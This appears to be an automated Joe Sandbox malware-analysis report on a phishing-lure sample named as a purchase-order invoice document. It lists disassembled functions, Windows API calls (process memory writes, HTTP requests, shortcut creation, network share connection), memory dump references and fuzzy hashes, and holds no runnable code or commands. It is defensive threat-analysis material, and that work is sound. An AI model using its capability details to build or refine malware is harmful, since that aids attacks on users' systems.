                                                                                            • DeleteObject.GDI32(?), ref: 0045564E
                                                                                            • DeleteObject.GDI32(?), ref: 0045565C
                                                                                            • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                            • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Destroy$DeleteObjectWindow$IconInvalidateRect
                                                                                            • String ID:
                                                                                            • API String ID: 1042038666-0
                                                                                            • Opcode ID: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                                                                                            • Instruction ID: 707d1f3050e1f0ff98422ce5efa9f9a4d3559fdafbc0a23101ed238e91bf2869
                                                                                            • Opcode Fuzzy Hash: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                                                                                            • Instruction Fuzzy Hash: B2014B702006419BCB10AF65D9C8A2A33ACAF19322780456AFD05D7242DB28EC498B79
                                                                                            Function 0043315E Relevance: 7.5, APIs: 5, Instructions: 33COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Path$ObjectStroke$DeleteFillSelect
                                                                                            • String ID:
                                                                                            • API String ID: 2625713937-0
                                                                                            • Opcode ID: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                                            • Instruction ID: 1b0d13c7bbaa275692c81ef4a4760df4fcf6218f807946f7e03cce85d1463269
                                                                                            • Opcode Fuzzy Hash: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                                            • Instruction Fuzzy Hash: F7F0A4751052019BD7508F18EC0C70E7FA8FB4F325F04462EEA19932E0DB781546CBAD
                                                                                            Function 004140CF Relevance: 7.5, APIs: 5, Instructions: 24threadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                                            • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                                              • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                              • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                              • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                            • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                                              • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                            • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                                              • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                            • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                                            • ExitThread.KERNEL32 ref: 0041410F
                                                                                            • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                                            • __freefls@4.LIBCMT ref: 00414135
                                                                                            • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                                                                            • String ID:
                                                                                            • API String ID: 132634196-0
                                                                                            • Opcode ID: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                                                                                            • Instruction ID: c6f54ac6c47f72d6c6be617d0ab0d95393642b3a08ca47198428750b18cc63fb
                                                                                            • Opcode Fuzzy Hash: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                                                                                            • Instruction Fuzzy Hash: EFE0B6318012096B8F0177F28E2A8DF3A2DAD56799B12842EBF10A3112DA6DD9D147AD
                                                                                            Function 00415601 Relevance: 7.5, APIs: 5, Instructions: 23threadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __IsNonwritableInCurrentImage.LIBCMT ref: 00415610
                                                                                              • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                                                                                            • __getptd_noexit.LIBCMT ref: 00415620
                                                                                            • CloseHandle.KERNEL32(?,?,0041566B), ref: 00415634
                                                                                            • __freeptd.LIBCMT ref: 0041563B
                                                                                            • ExitThread.KERNEL32 ref: 00415643
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CloseCurrentExitFindHandleImageNonwritableSectionThread__freeptd__getptd_noexit
                                                                                            • String ID:
                                                                                            • API String ID: 3798957060-0
                                                                                            • Opcode ID: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                                                                                            • Instruction ID: 5ad9b57b40d8b41da6f03c32f2a15b2799e0bbfe2e5ad1689210a27a588f1b2a
                                                                                            • Opcode Fuzzy Hash: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                                                                                            • Instruction Fuzzy Hash: 29E01A31501A1197C2212BB9AC097DE3255AF01F36F944A6EF81A952A0DB6CD98147AD
                                                                                            Function 0041567F Relevance: 7.5, APIs: 5, Instructions: 22threadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                                            • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                                              • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                              • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                              • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                            • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                                              • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                            • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                                              • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                            • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                                            • ExitThread.KERNEL32 ref: 004156BD
                                                                                            • __freefls@4.LIBCMT ref: 004156D9
                                                                                            • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                                                                            • String ID:
                                                                                            • API String ID: 1537469427-0
                                                                                            • Opcode ID: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                                                                                            • Instruction ID: 6f4b581ce684dac4bce1a6396b1ab204a3b2196504341234b7a244e47b3a25b0
                                                                                            • Opcode Fuzzy Hash: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                                                                                            • Instruction Fuzzy Hash: 83E0E6308003096BCF0037F29E1A9DF392DAD41389B52841E7E14B2122DE6DD9D1466D
                                                                                            Function 0040AB16 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 423COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _malloc
                                                                                            • String ID: Default$|k
                                                                                            • API String ID: 1579825452-2254895183
                                                                                            • Opcode ID: 404d7240c4bb856f681ff9cdf52c8ed6758caabbd7f7f5126ad75ded5c77f63b
                                                                                            • Instruction ID: 39a525bc613f0e7e9485e4ea944b13d532e73913c0a35fc25f8fa2b96209a7b9
                                                                                            • Opcode Fuzzy Hash: 404d7240c4bb856f681ff9cdf52c8ed6758caabbd7f7f5126ad75ded5c77f63b
                                                                                            • Instruction Fuzzy Hash: 51F19F706083018BD714DF25C484A6BB7E5AF85314F64886FF885AB392D738EC55CB9B
                                                                                            Function 0044F0B1 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 377COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _memcmp
                                                                                            • String ID: '$[$h
                                                                                            • API String ID: 2931989736-1224472061
                                                                                            • Opcode ID: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                                                                                            • Instruction ID: c2eec353cbd26a418970a1643da97c958d9efd09d44d369c5aec2a2e92b02032
                                                                                            • Opcode Fuzzy Hash: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                                                                                            • Instruction Fuzzy Hash: EBE1B3756083858FE725CF28C8807ABBBE1FFC9304F18896EE89587341D7799849CB56
                                                                                            Function 0044F1F5 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 358COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _strncmp
                                                                                            • String ID: >$R$U
                                                                                            • API String ID: 909875538-1924298640
                                                                                            • Opcode ID: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                                                                                            • Instruction ID: f6794502b7c89560a677b30a08de70cb8bc1b17d125f16f135907c58c8460d8d
                                                                                            • Opcode Fuzzy Hash: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                                                                                            • Instruction Fuzzy Hash: 46E19C745083818FEB25CF29C49076BBBE1EFD9304F28496EE89587381D378E849CB56
                                                                                            Function 0046CDA0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 263comCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00442C52: _wcslen.LIBCMT ref: 00442C82
                                                                                            • CoInitialize.OLE32(00000000), ref: 0046CE18
                                                                                            • CoCreateInstance.OLE32(00482A50,00000000,00000001,004828B0,?), ref: 0046CE31
                                                                                            • CoUninitialize.OLE32 ref: 0046CE50
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                                                            • String ID: .lnk
                                                                                            • API String ID: 886957087-24824748
                                                                                            • Opcode ID: cf95cfa125c39178dc1728bd48ca6ee468afe444b27fb378bb5b47a8cf5920ff
                                                                                            • Instruction ID: 09ec1e36491b9dee8eccbfa157b0fc1a83632a56aae6c10d58f94140378ad3aa
                                                                                            • Opcode Fuzzy Hash: cf95cfa125c39178dc1728bd48ca6ee468afe444b27fb378bb5b47a8cf5920ff
                                                                                            • Instruction Fuzzy Hash: D3A1ABB5A042019FC704EF64C980E6BB7E9EF88714F14895EF8849B392D735EC45CBA6
                                                                                            Function 00469BED Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 219COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00469C37
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcslen
                                                                                            • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                                                            • API String ID: 176396367-557222456
                                                                                            • Opcode ID: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                                                                                            • Instruction ID: 5ec49088f7a0f5eff408c40ec761cfb1cab3d77d8e9f1d748350f88cc39ab646
                                                                                            • Opcode Fuzzy Hash: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                                                                                            • Instruction Fuzzy Hash: 2C818F715183009FC310EF65C88186BB7E8AF85714F408A2FF5959B2A2E778ED45CB9B
                                                                                            Function 0042D2CC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 204COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                            • VariantInit.OLEAUT32(00000000), ref: 0042D2E0
                                                                                            • VariantCopy.OLEAUT32(?,?), ref: 0042D2EE
                                                                                            • VariantClear.OLEAUT32(00000000), ref: 0042D2FF
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Variant$ClearCopyInit_malloc
                                                                                            • String ID: 4RH
                                                                                            • API String ID: 2981388473-749298218
                                                                                            • Opcode ID: c26f7a3086022908b18cdef591f48b83bab91b2854b3ff3a8353accd24870fc8
                                                                                            • Instruction ID: 2430bd0654d197d786bc988f6f01769df72c779a088326c60667d263ff95ce9f
                                                                                            • Opcode Fuzzy Hash: c26f7a3086022908b18cdef591f48b83bab91b2854b3ff3a8353accd24870fc8
                                                                                            • Instruction Fuzzy Hash: CC913874A083519FC720CF29D480A1AB7E1FF89304F64892EE999DB351D774EC85CB96
                                                                                            Function 004667A7 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 170shareCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                              • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                            • __wcsnicmp.LIBCMT ref: 0046681A
                                                                                            • WNetUseConnectionW.MPR(00000000,?,00000000,?,00000000,?,00000000,?), ref: 004668B9
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Connection__wcsnicmp_wcscpy_wcslen
                                                                                            • String ID: LPT$HH
                                                                                            • API String ID: 3035604524-2728063697
                                                                                            • Opcode ID: 4168d29b7d0848dc605f9ce781fdb6688c60699af114ee795911c582be7b9077
                                                                                            • Instruction ID: 32c7950bcbaa764ae6d62266904c1b9f72d26d84b6ae022b5f72856ccecd4d84
                                                                                            • Opcode Fuzzy Hash: 4168d29b7d0848dc605f9ce781fdb6688c60699af114ee795911c582be7b9077
                                                                                            • Instruction Fuzzy Hash: 2151D5B16043009FC720EF65C881B1BB7E5AF85704F11491EFA859B382E779ED49C79A
                                                                                            Function 00438A5D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004374AF: WriteProcessMemory.KERNEL32(?,?,00000000,00000000,00000000,?,00461142,?), ref: 004374E2
                                                                                            • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00438AB8
                                                                                              • Part of subcall function 00437472: ReadProcessMemory.KERNEL32(?,00000000,00000000,?,00000000,00000000,00460C33,?,00000000,?,00000202), ref: 004374A5
                                                                                            • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00438B2F
                                                                                            • SendMessageW.USER32(00000000,00001111,00000000,00000000), ref: 00438BAF
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$MemoryProcess$ReadWrite
                                                                                            • String ID: @
                                                                                            • API String ID: 4055202900-2766056989
                                                                                            • Opcode ID: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                                                                                            • Instruction ID: 682097a2b5231093ce935cfc9f6f49684b756042c0be5430c67da702d62f7190
                                                                                            • Opcode Fuzzy Hash: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                                                                                            • Instruction Fuzzy Hash: E6518FB2208304ABD310DB64CC81FEFB7A9EFC9714F04591EFA8597181D678F9498B66
                                                                                            Function 00465D41 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 119networkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CrackInternet_memset_wcslen
                                                                                            • String ID: |
                                                                                            • API String ID: 915713708-2343686810
                                                                                            • Opcode ID: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                                                                                            • Instruction ID: 59fb16093b155e5aebf0565036b17e76eaaa1a90c891d08183ce313382d628e9
                                                                                            • Opcode Fuzzy Hash: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                                                                                            • Instruction Fuzzy Hash: AE417EB2754301ABD204EF69DC81B9BF7E8FB88714F00052EF64593290DB75E909CBA6
                                                                                            Function 0044A7DC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116networkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0044A7FE
                                                                                            • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044A851
                                                                                            • HttpQueryInfoW.WININET ref: 0044A892
                                                                                              • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
